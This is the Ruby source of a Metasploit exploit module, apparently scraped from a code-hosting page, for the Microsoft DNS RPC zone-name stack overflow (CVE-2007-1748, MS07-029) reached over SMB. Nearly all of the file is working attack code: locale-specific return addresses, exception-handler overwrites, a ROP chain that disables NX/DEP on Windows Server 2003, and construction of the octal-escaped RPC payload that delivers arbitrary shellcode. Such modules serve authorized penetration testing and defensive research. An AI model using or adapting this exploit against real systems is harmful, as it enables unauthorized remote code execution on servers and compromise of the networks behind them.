278 lines
7.8 KiB
Ruby
278 lines
7.8 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/projects/Framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Smb::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::DCERPC
|
|
include Exploit::Remote::SMB
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the RPC interface
|
|
of the Microsoft DNS service. The vulnerability is triggered
|
|
when a long zone name parameter is supplied that contains
|
|
escaped octal strings. This module is capable of bypassing NX/DEP
|
|
protection on Windows 2003 SP1/SP2. This module exploits the
|
|
RPC service using the \\DNSSERVER pipe available via SMB. This
|
|
pipe requires a valid user account to access, so the SMBUSER
|
|
and SMBPASS options must be specified.
|
|
|
|
},
|
|
'Author' =>
|
|
[
|
|
'hdm', # initial module
|
|
'anonymous' # 2 anonymous contributors (2003 support)
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
['CVE', '2007-1748'],
|
|
['MSB', 'MS07-029'],
|
|
['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 500,
|
|
|
|
# The payload doesn't matter, but make_nops() uses these too
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ],
|
|
|
|
# WS2HELP.DLL
|
|
[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
|
|
[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
|
|
[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
|
|
|
|
# Use the __except_handler3 method (and jmp esp in ATL.dll)
|
|
[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
|
|
[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],
|
|
|
|
|
|
# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
|
|
[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
|
|
[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
|
|
[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
|
|
[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
|
|
|
|
],
|
|
'DisclosureDate' => 'Apr 12 2007',
|
|
'DefaultTarget' => 0 ))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English'])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def gettarget(os)
|
|
|
|
targets.each do |target|
|
|
if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
|
|
return target
|
|
end
|
|
end
|
|
|
|
return nil
|
|
end
|
|
|
|
|
|
def exploit
|
|
|
|
connect()
|
|
smb_login()
|
|
|
|
if target.name =~ /Automatic/
|
|
|
|
case smb_peer_os()
|
|
when 'Windows NT 4.0'
|
|
print_status("Detected a Windows NT 4.0 system...")
|
|
target = nil
|
|
|
|
when 'Windows 5.0'
|
|
print_status("Detected a Windows 2000 SP0-SP4 target...")
|
|
target = gettarget('2000')
|
|
|
|
when 'Windows 5.1'
|
|
print_status("Detected a Windows XP system...")
|
|
target = nil
|
|
|
|
when /Windows Server 2003 (\d+)$/
|
|
print_status("Detected a Windows 2003 SP0 target...")
|
|
target = gettarget('2003SP0')
|
|
|
|
when /Windows Server 2003 (\d+) Service Pack (\d+)/
|
|
print_status("Detected a Windows 2003 SP#{$2} target...")
|
|
target = gettarget('2003SP12')
|
|
else
|
|
print_status("Unknown OS: #{smb_peer_os}")
|
|
return
|
|
end
|
|
end
|
|
|
|
if (not target)
|
|
print_status("There is no available target for this OS locale")
|
|
return
|
|
end
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
# Bind to the service
|
|
handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_np', ['\dnsserver'])
|
|
print_status("Binding to #{handle} ...")
|
|
dcerpc_bind(handle)
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
# Create our buffer with our shellcode first
|
|
txt = Rex::Text.rand_text_alphanumeric(8192)
|
|
|
|
if (target['OS'] =~ /2000/)
|
|
txt[0, payload.encoded.length] = payload.encoded
|
|
|
|
off = target['Off']
|
|
txt[ off ] = [target.ret].pack('V')
|
|
txt[ off - 4, 2] = "\xeb\x06"
|
|
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')
|
|
|
|
elsif (target['OS'] =~ /2003SP0/)
|
|
txt[0, payload.encoded.length] = payload.encoded
|
|
|
|
off = target['Off']
|
|
txt[ off ] = [target['Rets'][0]].pack('V') # __except_handler3
|
|
txt[ off - 4, 2] = "\xeb\x16"
|
|
|
|
# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)
|
|
addr = target['Rets'][1] - 4
|
|
addr1 = addr / 2
|
|
addr2 = addr1 + addr % 2
|
|
addr1 = addr1 + (addr2 % 12)
|
|
addr2 = addr2 / 12
|
|
|
|
txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B
|
|
|
|
#
|
|
# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
|
|
#
|
|
# 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0
|
|
# 0x77f443d0 mov eax, [ebp+arg_0]
|
|
# 0x77f443d3 pop esi
|
|
# 0x77f443d4 pop edi
|
|
# 0x77f443d5 leave ; mov esp, ebp
|
|
# 0x77f443d6 retn ; ret
|
|
|
|
txt[ off + 16, 4] = [target['Rets'][2]].pack('V') # jmp esp
|
|
txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V')
|
|
|
|
elsif (target['OS'] =~ /2003SP12/)
|
|
off = target['Off']
|
|
ib = target['IB']
|
|
txt[ off ] = [ib + 0x2566].pack('V')
|
|
|
|
|
|
# to bypass NX we need to emulate the call to ZwSetInformationProcess
|
|
# with generic value (to work on SP1-SP2 + patches)
|
|
|
|
off = 445
|
|
|
|
# first we set esi to 0xed by getting the value on the stack
|
|
#
|
|
# 0x76a81da7:
|
|
# pop esi <- esi = edh
|
|
# retn
|
|
|
|
txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
|
|
txt[ off + 28, 4] = [0xed].pack('V')
|
|
|
|
# now we set ecx to 0x7ffe0300, eax to 0xed
|
|
# 0x76a81da4:
|
|
# pop ecx <- ecx = 0x7ffe0300
|
|
# mov eax, esi <- eax == edh
|
|
# pop esi
|
|
# retn
|
|
|
|
txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
|
|
txt[ off + 36, 4] = [0x7ffe0300].pack('V')
|
|
|
|
# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
|
|
# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
|
|
# 0x76a8109c:
|
|
# call dword ptr [ecx]
|
|
|
|
txt[ off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx]
|
|
txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')
|
|
|
|
# we catch the second exception to go back to our shellcode, now that
|
|
# NX is disabled
|
|
|
|
off = 1013
|
|
txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)
|
|
txt[ off + 24, payload.encoded.length ] = payload.encoded
|
|
|
|
end
|
|
|
|
req = ''
|
|
|
|
# Convert the string to escaped octal
|
|
txt.unpack('C*').each do |c|
|
|
req << "\\"
|
|
req << c.to_s(8)
|
|
end
|
|
|
|
# Build the RPC stub data
|
|
stubdata =
|
|
NDR.long(rand(0xffffffff)) +
|
|
NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
NDR.string(req + "\x00") +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")
|
|
|
|
print_status('Sending exploit...')
|
|
|
|
begin
|
|
response = dcerpc.call(1, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
|
|
end
|
|
rescue ::Exception => e
|
|
print_status("Error: #{e}")
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|
|
end
|